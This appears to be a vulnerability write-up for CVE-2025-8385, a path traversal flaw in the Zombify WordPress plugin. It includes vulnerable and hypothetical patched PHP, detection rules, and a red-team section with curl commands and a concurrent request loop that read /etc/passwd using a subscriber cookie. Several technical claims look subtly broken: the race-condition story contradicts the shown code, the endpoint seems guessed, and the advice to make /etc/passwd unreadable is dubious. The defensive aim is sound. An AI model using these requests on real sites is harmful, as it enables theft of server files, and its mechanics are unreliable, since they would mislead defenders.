CVE-2025-8385

Executive Summary

CVE-2025-8385 is a Path Traversal vulnerability in the Zombify WordPress plugin (versions up to and including 1.7.5). The flaw resides in the zf_get_file_by_url function, which fails to properly sanitize user-supplied input, allowing authenticated attackers with subscriber-level access or higher to read arbitrary files on the server. Exploitation is complicated by a race condition: the generated file is deleted immediately after creation, requiring precise timing. The CVSS score is 6.8 (Medium), with a low EPSS score of 0.0%, indicating limited active exploitation in the wild. No public proof-of-concept or patch is currently available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and monitor for updates from the vendor (Zombify). Since no patch exists, supply chain risk is elevated; organizations should consider disabling the plugin until a fix is released.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): High (H) – Requires a race condition to succeed.
• Privileges Required (PR): Low (L) – Subscriber-level access or higher.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – Exploit does not affect other components.
• Confidentiality (C): High (H) – Full file read capability.
• Integrity (I): None (N) – No file modification.
• Availability (A): None (N) – No denial of service.

Threat Level: Medium. The race condition reduces reliability, but the ability to read sensitive files (e.g., /etc/passwd, wp-config.php) makes it dangerous for targeted attacks.

Deep Dive & Mechanics

The vulnerability exists in the zf_get_file_by_url function within the Zombify plugin. This function is intended to retrieve files based on a URL parameter, but it does not validate or sanitize the input to prevent directory traversal sequences (e.g., ../). An attacker can craft a request like:

GET /wp-content/plugins/zombify/zf_get_file_by_url.php?file=../../../../etc/passwd

The function processes the request, reads the file, and writes its contents to a temporary location. However, the plugin immediately deletes this temporary file after serving it. The race condition arises because the attacker must read the file before it is deleted. In practice, this can be achieved by sending multiple concurrent requests or using a timing window.

The vulnerability is classified under CWE-22 (Improper Limitation of a Pathname to a Restricted Directory). The lack of input validation allows path traversal, and the race condition is a secondary exploitation challenge.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern.

Vulnerable Code (Zombify <= 1.7.5):

function zf_get_file_by_url($url) {
    $file_path = $_GET['file'];
    // No sanitization or validation
    $content = file_get_contents($file_path);
    $temp_file = tempnam(sys_get_temp_dir(), 'zf_');
    file_put_contents($temp_file, $content);
    // Serve and delete immediately
    header('Content-Type: application/octet-stream');
    readfile($temp_file);
    unlink($temp_file);
}

Patched Code (Hypothetical):

function zf_get_file_by_url($url) {
    $file_path = $_GET['file'];
    // Validate path is within allowed directory
    $allowed_dir = WP_CONTENT_DIR . '/uploads/zombify/';
    $real_path = realpath($allowed_dir . $file_path);
    if (strpos($real_path, $allowed_dir) !== 0) {
        die('Invalid file path.');
    }
    // Additional checks
    if (!file_exists($real_path)) {
        die('File not found.');
    }
    $content = file_get_contents($real_path);
    $temp_file = tempnam(sys_get_temp_dir(), 'zf_');
    file_put_contents($temp_file, $content);
    header('Content-Type: application/octet-stream');
    readfile($temp_file);
    unlink($temp_file);
}

The patched version uses realpath() to resolve the path and checks that it starts with the allowed directory, preventing traversal.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with Zombify plugin <= 1.7.5.
• Valid subscriber-level credentials (e.g., subscriber:password).

Exploitation Steps:

1. Authenticate to WordPress and obtain a nonce or cookie.
2. Send a crafted request to the vulnerable endpoint:

   curl -b "wordpress_logged_in_xxx=subscriber%7C..." \
        "http://target/wp-content/plugins/zombify/zf_get_file_by_url.php?file=../../../../etc/passwd"
   

3. Due to the race condition, you may need to send multiple concurrent requests:

   for i in {1..50}; do
       curl -b "wordpress_logged_in_xxx=..." \
            "http://target/wp-content/plugins/zombify/zf_get_file_by_url.php?file=../../../../etc/passwd" &
   done
   wait
   

4. If successful, the response will contain the contents of /etc/passwd.

Lab Setup:

• Use Docker to spin up a vulnerable WordPress environment:

  FROM wordpress:latest
  COPY zombify-1.7.5.zip /var/www/html/wp-content/plugins/
  RUN cd /var/www/html/wp-content/plugins && unzip zombify-1.7.5.zip
  

• Create a subscriber user via the WordPress admin panel.

Blue Team (Detection & Response)

Detection:

• Monitor for abnormal file read requests to zf_get_file_by_url.php with path traversal patterns.
• Look for rapid, repeated requests to the same endpoint (indicating race condition exploitation).
• Alert on access to sensitive files like /etc/passwd, wp-config.php, or .env.

Response:

• Immediately disable the Zombify plugin if exploitation is suspected.
• Review server logs for the attacker's IP and block it.
• Check for unauthorized access to sensitive files and rotate any exposed credentials.

Indicators of Compromise (IOCs)

• File Paths: /wp-content/plugins/zombify/zf_get_file_by_url.php
• URL Patterns: ?file=../../../../etc/passwd or similar traversal sequences.
• Log Entries: HTTP 200 responses to zf_get_file_by_url.php with file parameter containing ../.
• Temporary Files: Files in /tmp/ with prefix zf_ (e.g., zf_XXXXXX).
• Network Traffic: Multiple rapid requests from the same IP to the vulnerable endpoint.

Detection Engineering

YARA Rule

rule CVE_2025_8385_Zombify_Path_Traversal {
    meta:
        description = "Detects path traversal attempts against Zombify plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-8385"
    strings:
        $traversal = /\.\.\/|\.\.\\/
        $endpoint = "zf_get_file_by_url.php"
        $sensitive = /etc\/passwd|wp-config\.php|\.env/
    condition:
        $endpoint and ($traversal or $sensitive)
}

Sigma Rule

title: CVE-2025-8385 Zombify Path Traversal Attempt
id: 8f3a2b1c-4d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects path traversal attempts against the Zombify WordPress plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'zf_get_file_by_url.php'
        cs-uri-query|contains: '..'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in other plugins
level: high

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2025-8385 Zombify Path Traversal Attempt";
    flow:to_server,established;
    content:"GET";
    http_method;
    content:"zf_get_file_by_url.php";
    http_uri;
    content:"../";
    http_uri;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the Zombify plugin until a patch is released.
2. Implement a Web Application Firewall (WAF) rule to block path traversal patterns in requests to zf_get_file_by_url.php.
3. Restrict file permissions on sensitive system files (e.g., /etc/passwd should not be readable by the web server user).

Long-Term Fix:

• Apply input validation and sanitization in the zf_get_file_by_url function (see patched code example).
• Use realpath() to resolve paths and restrict access to a specific directory.
• Remove the race condition by not deleting the file immediately, or use a secure temporary file mechanism.

Monitoring:

• Continuously monitor for exploitation attempts using the provided YARA, Sigma, and Suricata rules.
• Review WordPress access logs for unusual patterns.

Valters IT